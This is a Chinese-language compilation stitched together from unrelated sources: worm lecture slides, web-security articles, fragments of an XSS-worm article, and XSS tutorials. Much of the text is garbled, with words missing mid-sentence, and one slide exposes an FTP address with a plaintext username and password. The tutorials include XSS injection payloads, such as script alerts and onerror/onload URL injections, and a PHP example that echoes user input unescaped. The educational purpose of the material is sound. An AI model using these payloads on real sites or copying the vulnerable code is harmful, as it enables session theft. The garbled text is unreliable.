[第30课]由动网xss漏洞浅谈web蠕虫编写
网络蠕虫
淮阴工学院计算机工程系 李笑平 主讲 15
计算机病毒原理及防治
3 蠕虫的基本原理
3.3 蠕虫的传播模型
淮阴工学院计算机工程系 李笑平 主讲 12
对扫描策略的改进
计算机病毒原理及防治
3 蠕虫的基本原理
3.2 蠕虫的工作方式与扫描策略
扫描策略设计的原则
尽量减少重复的扫描,使扫描发送的数据包总量 减少到最小 保证扫描覆盖到尽量大的范围 处理好扫描的时间分布,使得扫描不要集中在某 一时间内发生 怎样找到一个合适的策略需要在考虑以上原则的 前提下进行分析,甚至需要试验验证
虫
系统存在漏洞 (Vulnerability) 主要针对网络上的其它 计算机 程序自身 网络性能、系统性能
计算机使用者角色
防治措施
病毒传播中的关键环节
从宿主程序中摘除
无关
为系统打补丁(Patch)
计算机病毒原理及防治
淮阴工学院计算机工程系
李笑平 主讲
5
1 蠕虫的起源及其定义
1.5 蠕虫定义的进一步说明
计算机病毒原理及防治
主讲:李笑平
ftp://172.17.11.136 用户名:lixiaoping 密码:lixiaoping
网络蠕虫
主要内容
网络蠕虫的定义及其与狭义病毒的区别
蠕虫的分类
蠕虫的工作原理 蠕虫的行为特征
蠕虫的防治
计算机病毒原理及防治
淮阴工学院计算机工程系
常见WEB安全漏洞及整改建议
常见WEB安全漏洞及整改建议随着互联网的迅速发展,WEB应用程序的使用越来越广泛,但通过WEB应用程序进行的信息传输和交互也带来了一系列的安全隐患。
本文将介绍一些常见的WEB安全漏洞,并提供相关的整改建议,以帮助企业提高对WEB安全的保护。
一、跨站脚本攻击(XSS)跨站脚本攻击是一种利用WEB应用程序的漏洞,将恶意脚本注入到页面中,以获取用户信息或者执行其他恶意操作的攻击手段。
为了防止XSS攻击,以下是一些建议:1. 输入验证:对用户输入的数据进行严格的验证和过滤,防止恶意脚本的注入。
2. 输出编码:在将数据输出到页面时,采用正确的编码方式,确保用户输入的内容不会被当作HTML或者JavaScript代码进行解析。
3. Cookie(HttpOnly):将Cookie标记为HttpOnly,防止恶意脚本通过JavaScript进行读取。
二、跨站请求伪造(CSRF)跨站请求伪造是一种攻击者通过伪造合法用户的请求来执行非法操作的手段。
为了防止CSRF攻击,以下是一些建议:1. 验证来源:在WEB应用程序中添加验证机制,确认请求来源的合法性。
2. 添加Token:在每个表单或者URL中添加一个随机生成的Token,确保请求的合法性。
三、SQL注入攻击SQL注入攻击是一种通过WEB应用程序的输入字段注入恶意的SQL代码来获取或修改数据库中的数据的攻击手段。
为了防止SQL注入攻击,以下是一些建议:1. 输入验证:对用户输入的数据进行严格的验证和过滤,确保输入的数据是符合预期的格式。
2. 参数化查询:使用参数化查询或者存储过程来执行SQL查询,避免将用户输入直接拼接成SQL语句的方式。
四、文件上传漏洞文件上传漏洞是一种攻击者通过上传恶意文件来执行远程代码的手段。
为了防止文件上传漏洞,以下是一些建议:1. 文件类型验证:对文件进行类型检查,确保只允许上传合法的文件类型。
2. 文件名检查:检查文件名是否包含恶意代码,避免执行恶意代码。
xss基本语句
xss基本语句XSS(Cross-SiteScripting)是一种常见的Web攻击,它允许攻击者通过注入恶意脚本来攻击用户,从而窃取用户的敏感信息或者控制用户的浏览器。
在本文中,我们将介绍一些XSS基本语句,帮助您更好地了解XSS攻击及其防范措施。
1. 基本概念XSS攻击是一种利用Web应用程序漏洞的攻击方式,其核心思想是向Web应用程序中注入恶意脚本,从而实现对用户的攻击。
XSS攻击可以分为存储型XSS和反射型XSS两种类型。
存储型XSS攻击是指攻击者将恶意脚本存储在Web服务器上,当用户访问时,恶意脚本会被执行。
反射型XSS攻击是指攻击者将恶意脚本注入到Web应用程序的URL参数中,当用户访问时,恶意脚本会被执行。
2. 常见的XSS攻击方式2.1 HTML注入攻击者可以在Web应用程序中注入HTML代码,从而实现对用户的攻击。
例如,攻击者可以在留言板中输入恶意HTML代码,当其他用户访问留言板时,恶意HTML代码会被执行,从而窃取用户的敏感信息或者控制用户的浏览器。
2.2 JavaScript注入攻击者可以在Web应用程序中注入JavaScript代码,从而实现对用户的攻击。
例如,攻击者可以在搜索框中输入恶意JavaScript代码,当用户搜索时,恶意JavaScript代码会被执行,从而窃取用户的敏感信息或者控制用户的浏览器。
2.3 SQL注入攻击者可以在Web应用程序中注入SQL代码,从而实现对数据库的攻击。
例如,攻击者可以在登录框中输入恶意SQL代码,当用户登录时,恶意SQL代码会被执行,从而窃取用户的敏感信息或者控制用户的浏览器。
3. 防范措施3.1 输入过滤Web应用程序应该对用户输入进行过滤,从而防止恶意代码的注入。
例如,可以使用HTML过滤器、JavaScript过滤器、SQL过滤器等对用户输入进行过滤。
3.2 输出编码Web应用程序应该对输出进行编码,从而防止恶意代码的执行。
Web安全与漏洞攻防技术
Web安全与漏洞攻防技术Web安全是指在互联网应用中保护用户信息和系统数据的一系列措施。
随着互联网的快速发展,Web应用也变得越来越普及,而Web安全问题也日益严重。
黑客们利用各种漏洞进行攻击,给个人和企业带来了巨大损失。
因此,学习和掌握Web安全漏洞攻防技术是至关重要的。
1. 漏洞的种类在深入了解Web安全漏洞攻防技术之前,我们首先需要了解一些常见的漏洞种类。
常见的Web安全漏洞包括:1.1 跨站脚本攻击(XSS):攻击者通过在Web页面中注入恶意代码,在用户浏览器中执行恶意脚本,获取用户敏感信息。
1.2 SQL注入攻击:攻击者通过在Web应用的输入框中注入SQL语句,从而绕过身份验证,窃取、修改或删除数据库中的数据。
1.3 文件包含漏洞:攻击者通过利用Web应用在加载动态页面时未正确检查用户输入的文件路径,实现任意文件读取或执行恶意代码。
1.4 跨站请求伪造(CSRF)攻击:攻击者利用用户对网站的信任,通过伪造请求,以用户的身份执行恶意操作。
1.5 点击劫持攻击:攻击者通过隐藏或透明化的方式在正常页面上覆盖一个恶意页面,当用户点击时执行恶意操作。
这仅仅是一些常见的漏洞类型,实际上还有许多其他类型的漏洞。
了解这些漏洞的种类,有助于我们更好地理解Web安全问题的本质。
2. Web安全防御技术为了保护Web应用免受攻击,我们需要采取一系列防御措施。
以下是一些常见的Web安全防御技术:2.1 输入验证:对用户输入的数据进行验证,确保其符合预期的格式和范围,以防止SQL注入、XSS等攻击。
2.2 输出编码:对从数据库或其他来源检索到的数据进行编码,以防止XSS攻击。
2.3 访问控制:基于用户角色和权限设置访问控制,限制非授权用户对系统资源的访问。
2.4 密码安全:采用加密算法对用户密码进行存储,确保用户密码的安全性。
2.5 安全的会话管理:采用安全的会话标识和Cookie管理机制,防止会话劫持和重放攻击。
XSS的高级利用部分总结 -蠕虫
如果你还未具备基础XSS知识,以下几个文章建议拜读:
/chinese/INTERNET/JavaScript/ JavaScript中文简介
/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
..........
复制代码------------------------------------------介绍-------------------------------------------------------------
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
if(_m=="POST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
XSS漏洞攻击原理与解决办法
XSS漏洞攻击原理与解决办法对于的⽤户输⼊中出现XSS漏洞的问题,主要是由于开发⼈员对XSS了解不⾜,安全的意识不够造成的。
现在让我们来普及⼀下XSS的⼀些常识,以后在开发的时候,每当有⽤户输⼊的内容时,都要加倍⼩⼼。
请记住两条原则:过滤输⼊和转义输出。
⼀、什么是XSSXSS⼜叫CSS (Cross Site Script) ,跨站脚本攻击。
它指的是恶意攻击者往Web页⾯⾥插⼊恶意html代码,当⽤户浏览该页之时,嵌⼊其中Web⾥⾯的html代码会被执⾏,从⽽达到恶意的特殊⽬的。
XSS属于被动式的攻击,因为其被动且不好利⽤,所以许多⼈常呼略其危害性。
在WEB2.0时代,强调的是互动,使得⽤户输⼊信息的机会⼤增,在这个情况下,我们作为开发者,在开发的时候,要提⾼警惕。
⼆、XSS攻击的主要途径XSS攻击⽅法只是利⽤HTML的属性,作各种的尝试,找出注⼊的⽅法。
现在对三种主要⽅式进⾏分析。
第⼀种:对普通的⽤户输⼊,页⾯原样内容输出。
打开/goproducttest/test.jsp(限公司IP),输⼊:第⼆种:在代码区⾥有⽤户输⼊的内容原则就是,代码区中,绝对不应含有⽤户输⼊的东西。
第三种:允许⽤户输⼊HTML标签的页⾯。
三、XSS攻击解决办法请记住两条原则:过滤输⼊和转义输出。
具体执⾏的⽅式有以下⼏点:第⼀、在输⼊⽅⾯对所有⽤户提交内容进⾏可靠的输⼊验证,提交内容包括URL、查询关键字、http头、post数据等第⼆、在输出⽅⾯,在⽤户输内容中使⽤标签。
标签内的内容不会解释,直接显⽰。
第三、严格执⾏字符输⼊字数控制。
四、在脚本执⾏区中,应绝⽆⽤户输⼊。
web安全攻防总结
web安全攻防总结
随着互联网的发展,网络安全问题越来越受到重视。
作为应用的前端,如何进行有效的安全攻防对我们都很重要。
本文将总结一些常见的漏洞以及如何进行防御:
注入:这是安全最著名也最常见的问题之一。
它发生在应用拼接语句而没有对用户输入进行过滤和验证。
防御方法是使用参数化查询和输入验证。
攻击:跨站脚本攻击可能导致劫持或。
它的发生原因也是没有对用户输入进行过滤。
防御方法是输出编码和使用(内容安全策略)。
命令注入:当应用将用户输入直接用于操作系统命令行时,可能导致命令注入攻击。
防御方法是禁用函数,使用沙箱或仅允许特定命令。
文件上传漏洞:当文件上传功能没有限制文件类型或路径,可能被利用通过等方式获取服务器权限。
防御方法是限制文件类型和上传路径。
和管理问题:如果找回密码或会话管理出问题,例如可以恢复任意用户的密码或窃取会话号,也会面临很大安全隐患。
这里需要对相关功能进行限制和加强。
跨站请求伪造和重放攻击:对登录页和敏感操作需要增加验证以防。
同时需要对请求设置授权或使用来防止重放攻击。
定期更新软件,限制工具访问,加强边界防御等基础设施防御措施,也非
常重要。
只有全面防御,才能更好地抵御安全威胁。
xss使用方法
xss使用方法
XSS(跨站脚本攻击)是一种常见的网络攻击手段,攻击者通过在网页中注入恶意脚本,来获取用户的敏感信息,如cookie等。
以下是一些XSS攻击的常见使用方法:
1. 反射型XSS:反射型XSS是指攻击者将恶意脚本注入到网页中,当用户访问该网页时,浏览器会执行恶意脚本并将用户的敏感信息发送给攻击者。
攻击者可以通过构造恶意链接,诱导用户点击,从而获取用户的敏感信息。
2. 存储型XSS:存储型XSS是指攻击者在网页中注入恶意脚本,并将恶意脚本存储在数据库或文件中。
当其他用户访问该网页时,浏览器会执行恶意脚本并将用户的敏感信息发送给攻击者。
攻击者可以在网页中留下恶意代码,或者通过社交工程等方式诱导用户访问恶意网页。
3. DOM型XSS:DOM型XSS是指攻击者通过修改网页的DOM(文档对象模型)结构,来注入恶意脚本。
当用户访问该网页时,浏览器会执行恶意脚本并将用户的敏感信息发送给攻击者。
攻击者可以通过构造特定的URL参数或利用第三方脚本注入等方式,来触发DOM型XSS攻击。
为了防范XSS攻击,开发人员应该对所有用户输入进行验证和过滤,避免将用户输入直接嵌入到网页中。
同时,开发人员还应该使用内容安全策略(CSP)
等安全机制来限制网页中的脚本执行。
对于用户来说,应该避免点击来历不明的链接或下载来历不明的文件,以免遭受XSS攻击。
XSS(跨站脚本攻击)分析与实战
XSS(跨站脚本攻击)分析与实战⽂章⽬录⼀、漏洞原理1、XSS简介:XSS全称:Cross Site Scripting,即跨站脚本攻击,为了不和“层叠样式表”(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
XSS是最常见的 Web 应⽤程序安全漏洞之⼀,这类漏洞能够使攻击者嵌⼊恶意脚本代码(⼀般是JS代码)到正常⽤户会访问到的页⾯中,当正常⽤户访问该页⾯时,恶意脚本代码将会在⽤户的浏览器上执⾏,从⽽达到恶意攻击⽤户的⽬的。
从上述内容可知,XSS属于客户端攻击,受害者最终是⽤户。
但不要以为受害者是⽤户,就认为跟⾃⼰的⽹站、服务器安全没有关系,不要忘记⽹站管理⼈员也属于⽤户之⼀,这就意味着 XSS 可以攻击 “服务器端”。
因为管理员要⽐普通⽤户的权限⼤得多,⽽攻击者就有可能靠管理员⾝份作为“跳板”实施攻击。
2、XSS原理解析:XSS攻击在⽹页中嵌⼊的恶意脚本代码⼀般是使⽤ JavaScript 语⾔,JavaScript 可以获取⽤户的Cookie、改变⽹页内容、URL跳转,那么存在XSS漏洞的⽹站,就可以盗取⽤户Cookie、⿊掉页⾯、导航到恶意⽹站,⽽攻击者需要做的仅仅是向Web页⾯中注⼊JavaScript 代码。
下⾯是⼀个简单的XSS漏洞实例,代码如下:<html><head><meta content="text/html;charset=utf-8"/><title>xss漏洞⽰例</title></head><body><center><h6>把输⼊的字符串输出</h6><form action="#" method="get"><h6>请输⼊</h6><input type="text" name="xss"><br /><input type="submit" value="确定"></form><hr><?phpif (isset($_GET['xss'])) {echo '<input type="text" value="'.$_GET['xss'].'">';}else{echo '<input type="text">';}></center></body></html>在代码中,通过GET获取参数xss的值,然后通过echo输出⼀个input标签,并将xss的值放⼊input标签的value中。
列举XSS漏洞出现的原理
列举XSS漏洞出现的原理XSS(跨站脚本攻击)漏洞是指攻击者通过在Web应用程序中注入恶意客户端脚本,利用用户对网站的信任执行恶意代码,从而达到攻击的目的。
XSS漏洞的原理主要是基于Web应用程序没有对用户输入进行充分的验证和过滤,导致攻击者可以将恶意脚本注入到网页中,让用户的浏览器执行这些恶意脚本。
XSS漏洞主要有三种类型:存储型XSS、反射型XSS和DOM型XSS。
存储型XSS是指攻击者将恶意脚本存储到服务器端数据库中,当用户访问包含这些恶意脚本的页面时,会执行这些脚本。
反射型XSS是指攻击者通过伪装好的URL地址,诱使用户点击并执行恶意脚本。
DOM型XSS是指攻击者通过修改页面的DOM(文档对象模型)来执行恶意脚本。
XSS漏洞的原理主要是由于Web应用程序对用户输入的信任而导致的。
具体来说,主要有以下几个方面的原因:1. 没有充分的过滤和验证用户输入。
很多Web应用程序对用户输入的信任度过高,没有对用户输入进行充分的验证和过滤,导致攻击者可以在输入中注入恶意脚本。
比如,用户在评论、留言等地方输入的内容没有进行过滤就直接显示在页面上,就有可能存在XSS漏洞。
2. 缺乏正确的输出编码。
Web应用程序在将用户输入的内容输出到页面上时,如果没有进行正确的编码处理,就会导致恶意脚本的执行。
攻击者可以在输入中注入恶意脚本,然后在页面上输出时,浏览器会将这些恶意脚本当做正常的脚本执行。
3. 跨站点脚本攻击。
XSS漏洞还可能会导致跨站点脚本攻击,攻击者可以通过在受害者访问的网页中嵌入恶意脚本来窃取用户的敏感信息,比如cookie、session等。
针对XSS漏洞的原理,我们可以采取一些措施来防范和修复这些漏洞。
首先,对用户输入进行严格的验证和过滤,确保用户输入的内容不含有恶意脚本。
其次,在输出用户输入的内容到页面上时,要进行正确的编码处理,避免恶意脚本的执行。
另外,还可以通过内容安全策略(CSP)、输入过滤、输出编码等方式来防范和修复XSS漏洞。
xss解决方案
xss解决方案XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的网络安全漏洞,攻击者通过在网页中插入恶意脚本来获取用户的敏感信息,甚至篡改网页内容。
为了解决这一问题,以下是一些常见的XSS解决方案。
1. 输入验证和过滤输入验证是防范XSS攻击最基本的方法。
在服务器端对用户输入的数据进行验证和过滤是必要的,可以使用正则表达式或内置函数过滤特殊字符和标签。
例如,检查用户输入的字符是否是预期的数据类型,如数字、字母等,并移除任何包含恶意脚本的输入。
2. 输出编码在将用户输入的数据显示在网页上时,应对特殊字符进行编码处理。
常见的编码方式有HTML实体编码、URL编码和JavaScript编码等。
通过对输出内容进行编码,可以防止恶意脚本被执行。
同时,使用合适的编码方式还可以保持文本的可读性。
3. 使用CSP(Content Security Policy)CSP是一种网页的安全策略,通过限制浏览器加载和执行资源的方式来减少XSS攻击的风险。
通过在HTTP头中添加CSP策略,可以指定允许加载的资源,并禁止执行内联脚本和外部脚本等。
合理配置CSP策略可以有效地减少XSS攻击的成功率。
4. 设置HttpOnly标记在开发Web应用时,应将敏感信息(如用户的会话ID)存储为HttpOnly标记的Cookie。
设置HttpOnly标记后,浏览器将禁止通过JavaScript访问这些Cookie,从而减少XSS攻击者获取敏感信息的机会。
5. 使用安全的框架和库选择使用经过验证和广泛使用的安全框架和库,可以大大减少XSS漏洞的风险。
这些框架和库通常会自动进行输入验证、输出编码和其他安全处理,提供了更安全的环境。
6. 定期更新和修补漏洞及时更新和修补开发中使用的软件和框架,以防止已经被公开的XSS漏洞被攻击者利用。
定期审查代码,重点关注可能存在XSS风险的地方,并进行修复和改进。
总结:通过输入验证和过滤、输出编码、CSP策略、设置HttpOnly标记、使用安全的框架和库以及定期更新和修补漏洞等方式,可以有效防范XSS攻击。
前端开发中常见的安全漏洞及防范措施
前端开发中常见的安全漏洞及防范措施在当今数字化时代,随着互联网的快速发展,前端开发作为构建网页和应用程序的重要环节,扮演着关键的角色。
然而,伴随着技术的进步,也带来了一系列的安全隐患。
本文将探讨前端开发中常见的安全漏洞,并提供相应的防范措施。
一. 跨站脚本攻击(Cross-Site Scripting, XSS)跨站脚本攻击是一种常见而严重的安全漏洞,攻击者通过向前端输入恶意脚本代码,将其植入网页中,当用户访问该网页时,被攻击者的脚本就会在用户的浏览器中执行。
这可能导致用户信息泄露、会话劫持等严重后果。
为了预防XSS攻击,开发人员应该始终对用户输入进行严格的验证和过滤。
可以通过使用特殊字符转义、过滤敏感标签、限制HTML标签的使用等方法来减少攻击的风险。
二. 跨站请求伪造(Cross-Site Request Forgery, CSRF)跨站请求伪造是通过诱使用户点击具有攻击性的链接或图片来伪造用户身份,以用户的名义发送恶意请求,例如修改密码、转账等。
攻击者利用用户在其他受信任网站上的已登录状态来进行攻击,用户通常无法察觉。
为了防止CSRF攻击,开发人员可以使用CSRF令牌机制来验证请求的合法性。
每个用户会话都生成一个唯一的令牌,用于验证用户提交的表单或请求是否是合法的。
此外,开发人员还应设置合适的SameSite Cookie策略,以限制来自其他网站的Cookie访问。
三. 不安全的敏感数据传输在前端开发过程中,往往需要进行敏感数据的传输,例如用户名、密码等。
如果采用不安全的传输方式,例如明文传输,那么这些敏感数据很容易被攻击者截获,造成严重的数据泄露问题。
为了确保敏感数据的安全传输,开发人员应该使用安全的HTTPS协议来加密数据传输。
通过SSL证书、密钥验证等方式,确保数据在传输过程中的机密性和完整性。
四. 未对输入数据进行验证和过滤在前端开发中,用户输入的数据是最容易被攻击者利用的入口之一。
蠕虫病毒原理
从传播模式进行安全防御
对蠕虫在网络中产生的异常,有多种的的方法 可以对未知的蠕虫进行检测,比较通用的方法 是对流量异常的统计分析,主要包括对TCP连 接异常的分析和ICMP数据异常分析的方法。
从传播模式进行安全防御
在蠕虫的扫描阶段,蠕虫会随机的或者伪随机的生成 大量的IP地址进行扫描,探测漏洞主机。这些被扫描 主机中会存在许多空的或者不可达的IP地址,从而在 一段时间里,蠕虫主机会接收到大量的来自不同路由 器的ICMP不可达数据包。流量分析系统通过对这些 数据包进行检测和统计,在蠕虫的扫描阶段将其发现, 然后对蠕虫主机进行隔离,对蠕虫其进行分析,进而 采取防御措施。
发包数量前列的IP地址为22.163.0.9的主机,其从网络 收到的数据包数是0,但其向网络发出的数据包是445 个;
这对HTTP协议来说显然是不正常的,HTTP协议是基 于TCP的协议,是有连接的,不可能是光发不收的,一 般来说光发包不收包是种类似于广播的
同样,我们可以发现,如下IP地址存 在同样的问题
系统漏洞蠕虫
利用RPC溢出漏洞的冲击波、冲击波杀手 利用LSASS溢出漏洞的震荡波、震荡波杀手 系统漏洞蠕虫一般具备一个小型的溢出系统,它随机产生IP并
尝试溢出,然后将自身复制过去 它们往往造成被感染系统性能速度迅速降低,甚至系统崩溃,
属于最不受欢迎的一类蠕虫
蠕虫的工作方式与扫描策略
蠕虫的工作方式一般是“扫描→攻击→复制”
将ICMP不可达数据包进行收集、解析,并根据源和 目的地址进行分类,如果一个IP在一定时间(T)内 对超过一定数量(N)的其它主机的同一端口(P) 进行了扫描,则产生一个发现蠕虫的报警(同时还会 产生其它的一些报警)。
用Sniffer进行蠕虫检测
网站漏洞危害及整改建议
网站漏洞危害及整改建议1。
网站木马1。
1 危害利用IE浏览器漏洞,让IE在后台自动下载黑客放置在网站上的木马并运行(安装)这个木马,即这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始,从而实现控制访问者电脑或安装恶意软件的目的.1。
2 利用方式表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。
可被木马植入的网页也意味着能被篡改页面内容。
1.3 整改建议1)加强网站程序安全检测,及时修补网站漏洞;2)对网站代码进行一次全面检测,查看是否有其余恶意程序存在;3)建议重新安装服务器及程序源码,防止有深度隐藏的恶意程序无法检测到,导致重新安装系统后攻击者仍可利用后门进入;4)如有条件,建议部署网站防篡改设备。
2 。
网站暗链2。
1 危害网站被恶意攻击者插入大量暗链,将会被搜索引擎惩罚,降低权重值;被插入大量恶意链接将会对网站访问者造成不良影响;将会协助恶意网站(可能为钓鱼网站、反动网站、赌博网站等)提高搜索引擎网站排名。
可被插入暗链的网页也意味着能被篡改页面内容。
2.2 利用方式“暗链"就是看不见的网站链接,“暗链”在网站中的链接做的非常隐蔽,可能访问者并不能一眼就能识别出被挂的隐藏链接。
它和友情链接有相似之处,可以有效地提高PR值,所以往往被恶意攻击者利用。
2.3 整改建议1)加强网站程序安全检测,及时修补网站漏洞;2)对网站代码进行一次全面检测,查看是否有其余恶意程序存在;3)建议重新安装服务器及程序源码,防止无法到检测深度隐藏的恶意程序,导致重新安装系统后攻击者仍可利用后门进入;4)如有条件,建议部署网站防篡改设备。
3 . 页面篡改3。
1 危害政府门户网站一旦被篡改将造成多种严重的后果,主要表现在以下一些方面:1)政府形象受损;2)影响信息发布和传播;3)恶意发布有害违法信息及言论;4)木马病毒传播,引发系统崩溃、数据损坏等;5)造成泄密事件。
XSS完整版论文
跨站攻击1 基本概念1.1 背景概述:恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
事件:国外的MYSPACHE站点曾经发生过这样一个事件,一个叫samy的人利用XSS漏洞写了世界上第一只跨站脚本蠕虫,20小时内就传染了一百万个用户,最后导致MySpace站瘫痪。
1.2 定义跨站攻击,即Cross Site Script Execution(为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
简而言之,跨站攻击的模式是指攻击者不与受害者直接发生联系,而通过网络作为中介完成攻击。
业界对跨站攻击的定义如下:“跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。
”由于HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码,例如记录论坛保存的用户信息(Cookie),由于Cookie 保存了完整的用户名和密码资料,用户就会遭受安全损失。
如这句简单的Javascript脚本就能轻易获取用户信息:alert(document.cookie),它会弹出一个包含用户信息的消息框。
入侵者运用脚本就能把用户信息发送到他们自己的记录页面中,稍做分析便获取了用户的敏感信息。
对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript是新型“ShellCode”。
1.3 跨站攻击发生在什么时候?-数据通过一个不可信的源,大多数时是一个页面请求,进入网站应用。
XSS(跨站脚本攻击)简单讲解
XSS (跨站脚本攻击)简单讲解1.1 XSS 简介跨站脚本攻击(XSS ),是最普遍的Web 应⽤安全漏洞。
这类漏洞能够使得攻击者嵌⼊恶意脚本代码(⼀般是JS 代码)到正常⽤户会访问到的页⾯中,当正常⽤户访问该页⾯时,则可导致嵌⼊的恶意脚本代码的执⾏,从⽽达到恶意攻击⽤户的⽬的。
它常常与其他漏洞⼀起造成破坏性的后果。
1.2 XSS 的分类XSS 漏洞表现为多种形式,并且分为三种类型:反射型、储存型,DOM 型。
这些有⼀些相同的特点,但是在如何确定和利⽤⽅⾯有⼀些区别,下⾯依次分析他们。
1.2.1 反射型XSS反射型XXS 是⼀种⾮持久性的攻击,它指的是恶意攻击者往Web 页⾯⾥插⼊恶意代码,当⽤户浏览该页之时,嵌⼊其中Web ⾥⾯的html 代码会被执⾏,从⽽达到恶意攻击⽤户的⽬的。
提取⽤户提交的输⼊并将其插⼊到服务器相应的html 代码中,这是XSS 漏洞的明显特征,如果应⽤程序没有实施任何过滤和净化,那么它很容易被攻击。
下⾯我就⽤DVWA 为⼤家进⾏演⽰,在输⼊框中咱们构造如下JS 代码这代码是进⾏弹窗操作,如果页⾯出现弹窗,说明咱们插⼊的恶意代码被执⾏,结果如下图进⾏这个简单的测试,有助于澄清两个重要问题,⾸先,name 参数的内容可⽤任何返回给浏览器的数据代替,其次,⽆论服务器端应⽤程序如何处理这些数据,都⽆法阻⽌提交JS 代码,⼀旦提交数据,这些代码就会执⾏。
那我们该如何利⽤反射型XSS 漏洞呢?最简单的⼀种攻击就是攻击者截获通过验证⽤户的会话令牌。
劫持⽤户的会话后,攻击者就可以访问该⽤户经授权访问的所有数据和功能。
下⾯为⼤家画图演⽰⼀下截获令牌的过程。
<script>alert('XSS')</script>攻击者创建的恶意代码为这段代码可以让⽤户浏览器向马赛克.com(攻击者拥有的⼀个域)提出⼀个请求。
请求中包含⽤户访问应⽤程序的当前会话令牌。
XSS攻击原理与解决方法
XSS攻击原理与解决⽅法⼀、概述 XSS攻击是Web攻击中最常见的攻击⽅法之⼀,它是通过对⽹页注⼊可执⾏代码且成功地被浏览器执⾏,达到攻击的⽬的,形成了⼀次有效XSS攻击。
⼀旦攻击成功,它可以获取⽤户的联系⼈列表,然后向联系⼈发送虚假诈骗信息,可以删除⽤户的⽇志等等,有时候还和其他攻击⽅式同时实施⽐如SQL注⼊攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨⼤的,是web安全的头号⼤敌。
⼆、攻击的条件 实施XSS攻击需要具备两个条件: ⼀、需要向web页⾯注⼊恶意代码; ⼆、这些恶意代码能够被浏览器成功的执⾏。
看⼀下下⾯这个例⼦:<div id="el" style="background:url('javascript:eval(document.getElementById("el").getAttribute("code")) ')"code="var a = document.createElement('a');a.innerHTML= '执⾏了恶意代码';document.body.appendChild(a);//这这⾥执⾏代码"></div> 这段代码在旧版的IE8和IE8以下的版本都是可以被执⾏的,⽕狐也能执⾏代码,但⽕狐对其禁⽌访问DOM对象,所以在⽕狐下执⾏将会看到控制⾥抛出异常:document is not defined (document是没有定义的) 再来看⼀下⾯这段代码:<div><img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" /></div> 相信很多程序员都觉得这个代码很正常,其实这个代码就存在⼀个反射型的XSS攻击,假如输⼊下⾯的地址:/?id=" /><script>alert(/xss/)</script><br x="最终反射出来的HTML代码:<div><img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" /></div> 也许您会觉得把ValidateRequest设置为true或者保持默认值就能⾼枕⽆忧了,其实这种情况还可以输⼊下⾯的地址达到相同的攻击效果:/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="三、根据XSS攻击的效果可以分为⼏种类型 1、XSS反射型攻击:恶意代码并没有保存在⽬标⽹站,通过引诱⽤户点击⼀个链接到⽬标⽹站的恶意链接来实施攻击的。
xss构造方法
xss构造方法
XSS( 跨站脚本)是一种常见的Web安全漏洞,攻击者通过注入恶意脚本,将其执行在用户的浏览器端,从而实现对用户的攻击。
以下是几种常见的XSS构造方法:
普通的脚本注入:攻击者通过在输入框、URL参数或用户提交的内容中插入恶意脚本,当用户访问包含该脚本的页面时,浏览器会执行该脚本。
图片注入:攻击者通过在标签的src属性中注入具有恶意脚本的图片URL,当用户加载页面时,浏览器会执行其中的脚本。
链接注入:攻击者通过在标签的href属性中注入具有恶意脚本的链接,当用户点击该链接时,浏览器会执行其中的脚本。
CSS注入:攻击者通过在CSS样式表中注入具有恶意脚本的样式代码,当用户加载包含该样式表的页面时,浏览器会执行其中的脚本。
事件注入:攻击者通过在HTML元素的事件属性中注入恶意脚本,当用户与该元素触发相应事件时,浏览器会执行其中的脚本。
为了防止XSS攻击,开发人员可以采取以下措施:
对用户输入进行过滤和验证,确保只接受合法的输入。
使用安全的编码来转义特殊字符,例如使用htmlspecialchars()来转义HTML字符。
使用HTTP头中的Content-Security-Policy( CSP)来限制页面可以加载的资源和执行的脚本。
对于用户输入内容,使用合适的输入验证和安全的输出编码方法。
不要将用户输入直接插入到HTML标签、JS代码或URL中,而是使用编码或转义方法来处理。
XSS简介——精选推荐
XSS简介1. XSS简介跨站脚本攻击,英⽂全称是Cross Site Script,本来缩写是CSS,但是为了和层叠样式(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”。
XSS攻击,通常是指⿊客通过“HTML注⼊”篡改了⽹页,插⼊了恶意的脚本,从⽽在⽤户浏览⽹页时,控制⽤户浏览器的⼀种攻击。
在⼀开始,这种攻击的演⽰案例是跨域的,所以叫做“跨站脚本”XSS长期以来被列为客户端Web安全中的头号⼤敌。
